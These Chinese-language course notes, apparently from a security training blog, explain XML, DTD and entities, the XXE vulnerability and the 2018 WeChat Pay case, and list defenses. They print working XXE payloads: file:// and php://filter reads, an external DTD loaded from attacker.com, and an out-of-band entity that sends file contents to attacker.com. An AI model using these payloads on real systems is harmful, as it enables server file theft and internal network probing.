XXE漏洞

一、XXE漏洞
1. csrf回顾
  • CSRF漏洞回顾:上节课学习了CSRF(跨站请求伪造)漏洞,包括其发生原理、危害、攻击方式(如图片标签或隐藏表单)以及防御措施(如DVWA靶场演示的二次验证等防御方式)。
2. XML基础知识
1)XML的用途
  • 配置文件:XML常用于编写配置文件(如Spring项目的web.xml),特点是层次分明、结构清晰、扩展方便。
  • 数据交换:XML用于不同系统间的数据通信,如商业银行与人民银行对接的二代支付系统报文格式标准。
2)XML内容
  • 基本结构:
    • 声明部分:第一行是XML声明,定义版本和编码,如<?xml version="1.0" encoding="UTF-8"?>。
    • 根元素:必须有唯一的根元素(如<TranInfo>),根元素内可嵌套子元素(如<CdtrInf>、<DbtrInf>等)。
    • 子元素:子元素可继续嵌套,形成层次结构。
3)实体ENTITY的使用
  • DTD内容之元素
    
    • 元素定义:通过<!ELEMENT>定义XML中允许出现的元素及其嵌套关系,如<!ELEMENT TranInfo (CdtrInf, DbtrInf, Amt)>表示TranInfo必须包含CdtrInf、DbtrInf和Amt三个子元素。
  • XML格式要求
    • 规范:
      • 必须有唯一的根元素。
      • 标签必须成对关闭。
      • 标签对大小写敏感。
      • 元素必须正确嵌套(如内层标签必须先关闭)。
      • 属性值必须加引号(如<param-name>webAppRootKey</param-name>)。
  • 实体ENTITY的使用
    
    • 作用:实体用于定义可引用的字符或文件,相当于全局变量,便于集中维护和修改。
  • 内部实体
    
    • 定义:在XML文件内部通过<!ENTITY 实体名 "值">定义,如<!ENTITY cs "changsha">。
    • 引用:用&实体名;引用,如<area>&cs;</area>会被替换为<area>changsha</area>。
  • 外部实体
    • 定义:通过<!ENTITY 实体名 SYSTEM "URI/URL">引用外部文件内容,如<!ENTITY xxe SYSTEM "file:///D:/test/test.dtd">。
    • 关键字:
      • SYSTEM:引用本地或私有资源。
      • PUBLIC:引用公共资源。
    • 注意:浏览器通常不支持直接显示外部实体引用,需在服务器端解析。
  • 不同语言支持的协议
    
    • 常用协议:
      • file:读取本地文件(如file:///etc/passwd)。
      • php:读取PHP文件并编码(如php://filter/read=convert.base64-encode/resource=index.php)。
      • http:访问远程资源(如http://attacker.com/evil.dtd)。
    • 语言差异:
      • PHP需安装扩展支持特定协议(如OpenSSL扩展支持https,Zip扩展支持zip)。
      • Java支持file、http、ftp等协议。
4)XML格式校验
  • DTD作用:通过定义元素和实体的规则(如顺序、嵌套、属性等),自动校验XML格式是否符合规范。
  • 实现方式:DTD可以是独立文件,也可内嵌在XML中(如<!DOCTYPE note [...]>)。
二、知识小结

知识点

核心内容

考试重点/易混淆点

难度系数

CSRF漏洞回顾

跨站请求伪造的定义、代码演示、危害分析、攻击方式(图片标签/隐藏表单)、防御措施(DVWA靶场演示/二次验证)

防御机制优先级判断:二次验证与其他防御方式的优劣对比

⭐⭐

XML基础知识

可扩展标记语言特性(自定义标签)、两大用途(配置文件/数据交换)、格式规范(根元素/标签闭合/大小写敏感/属性引号)

与HTML核心差异:标签可扩展性 vs 固定标签集

⭐⭐

DTD文档类型定义

校验XML格式(元素顺序/嵌套规则/属性约束)、两种存在形式(独立文件/XML内嵌)

实体引用语法:&实体名;的解析优先级

⭐⭐⭐

实体分类

内部实体(字符变量替代)、外部实体(文件引用协议:file/http/php等)、不同语言支持差异(PHP需OpenSSL扩展支持https)

协议兼容性陷阱:浏览器不解析外部实体的版本限制

⭐⭐⭐⭐

XXE漏洞原理

XML外部实体注入攻击路径(恶意DTD引用->敏感文件读取)、无回显攻击技术、利用协议扩展(zip/expect等需特定扩展)

防御方案对比:输入过滤 vs 禁用外部实体解析

⭐⭐⭐⭐⭐

实战演示环节

二代支付系统XML报文案例、DTD校验失败场景、实体引用效果浏览器兼容性问题

靶场环境配置要点:PHP扩展依赖关系管理

⭐⭐⭐⭐

一、XXE漏洞
1. 例题:XML文件内容替换
  • 内部实体演示:通过定义<!ENTITY hacker "无牙test">并在XML中引用&hacker;,成功实现内容替换
  • 外部实体原理:将SYSTEM属性值改为file:///e:/in.txt,实体内容会替换为文件内容"乌鸦好爽"
2. XXE定义
  • 全称:XML External Entity Injection(XML外部实体注入)
  • 核心机制:当Web应用未限制XML引入外部实体时,攻击者可插入会被服务器执行的恶意实体
  • 危害类型:
    • 任意文件读取(如读取C:/test.dtd)
    • 系统命令执行(需安装expect扩展)
    • 内网端口探测(如检测3306端口)
    • 内网网站攻击(DDOS攻击)
3. 测试代码
1)例题:外部实体读取文件
  • 环境要求:必须使用PHP 5.4.45版本,新版默认禁用外部实体解析
  • 漏洞验证:
  • 结果验证:成功输出文件内容"乌鸦好爽"
2)例题:外部实体探测端口
  • 探测原理:通过http协议请求http://127.0.0.1:3307
  • 结果判断:
    • 返回failed to load表示端口关闭
    • 无报错表示端口开放(如3306端口)
  • 扫描扩展:可批量探测1-65535端口形成内网扫描
4. 不同语言支持的协议
  • PHP:支持file/http/ftp/php/compress等协议
  • Java:额外支持jar/netdoc/mailto协议
  • .NET:支持最全面,包含gopher等特殊协议
1)例题:微信支付XXE漏洞
  • 漏洞场景:2018年微信支付JAVA SDK异步通知接口
  • 攻击流程:
    • 商户需提供XML格式回调接口
    • 攻击者伪造支付成功通知
    • 注入恶意实体读取敏感文件
  • 实际影响:陌陌、vivo等商户出现"零元购"现象
  • 责任争议:微信认定是商户未禁用外部实体导致
2)例题:靶场XXE漏洞
  • 检测方法:
    • 确认系统使用XML通信
    • 插入测试实体<!ENTITY test SYSTEM "http://attacker.com/log">
    • 检查服务器是否请求该URL
  • 靶场特点:由upload-labs作者c0ny1开发,集成多种CTF题型
二、XXE漏洞原理与实战
1. XXE漏洞定义
  • 本质:XML外部实体注入(XML External Entity Injection),由XML组件默认未禁用外部实体引用导致
  • 危害场景:当商户接收微信支付回调通知URL的程序代码未遵循安全规范时
  • 攻击原理:攻击者通过构造恶意XML,在回调通知中引入外部实体,从而在商户服务器执行系统命令
2. 漏洞危害
  • 文件读取:可读取服务器任意文件(如示例中读取E:/in.txt)
  • 命令执行:通过特殊构造执行系统命令(如演示中的/bin/sh)
  • 内网探测:扫描内网端口和服务(如探测3306端口的MySQL服务)
  • 资金风险:微信支付特别强调可能造成商户资金损失
3. 漏洞验证实战
1)基础验证流程
  • 步骤1-确认传输格式:通过Burp抓包确认数据以XML格式传输(示例中为<user><username>1</username>结构)
  • 步骤2-构造恶意XML:添加DOCTYPE声明和外部实体引用,如:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://attacker.com/evil.dtd">%d;]>
  • 步骤3-结果验证:成功读取系统文件(演示中获取了C:/system.ini内容)
2)无回显利用技术
  • 方法1-DNS外带:
    • 通过dnslog.cn获取子域名(如wuyatest.wvz90i.dnslog.cn)
    • 构造实体指向该域名,如<!ENTITY % remote SYSTEM "http://子域名">
    • 观察DNS解析记录验证漏洞存在
  • 方法2-HTTP带出:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://attacker.com/?p=%file;'>">
4. 防护措施
  • 禁用外部实体:配置XML处理器禁用DTD和外部实体
  • 输入过滤:对XML文档进行严格校验
  • 使用JSON:在支付回调等场景优先使用JSON格式
  • 及时更新:保持XML处理库为最新版本
5. 微信支付特别提醒
  • 必须检查的场景:
    • 支付成功通知(notify_url)
    • 退款成功通知
    • 委托代扣签约
  • 修复时限:发现漏洞后应立即修复,防止资金损失
三、知识小结

知识点

核心内容

考试重点/易混淆点

难度系数

XXE漏洞定义

XML外部实体注入(XML External Entity Injection),攻击者通过XML文档引入外部实体,可能导致任意文件读取、命令执行等危害

区分内部实体与外部实体的解析机制

⭐⭐⭐⭐

漏洞利用方式

1. 通过file://协议读取本地文件; 2. 使用http://协议探测内网端口; 3. 构造XXE炸弹消耗服务器资源

PHP版本差异:高版本默认禁用外部实体解析

⭐⭐⭐⭐⭐

漏洞检测方法

1. 确认系统使用XML通信; 2. 插入包含外部实体引用的payload; 3. 观察DNS日志或HTTP请求记录

无回显时需采用DNSlog或搭建恶意DTD服务器

⭐⭐⭐⭐

微信支付案例

2018年商户回调接口因未过滤XML外部实体,可能导致商户密钥泄露和虚假支付通知

责任归属争议:微信官方称系商户配置问题

⭐⭐⭐⭐

靶场实战演示

1. 通过BurpSuite修改XML请求; 2. 注入<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">; 3. 成功读取系统文件

关键步骤:必须同时声明和引用实体

⭐⭐⭐⭐⭐

防御措施

1. 禁用外部实体解析; 2. 升级XML处理器版本; 3. 对输入数据进行严格过滤

PHP需特别注意libxml库版本配置

⭐⭐⭐

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值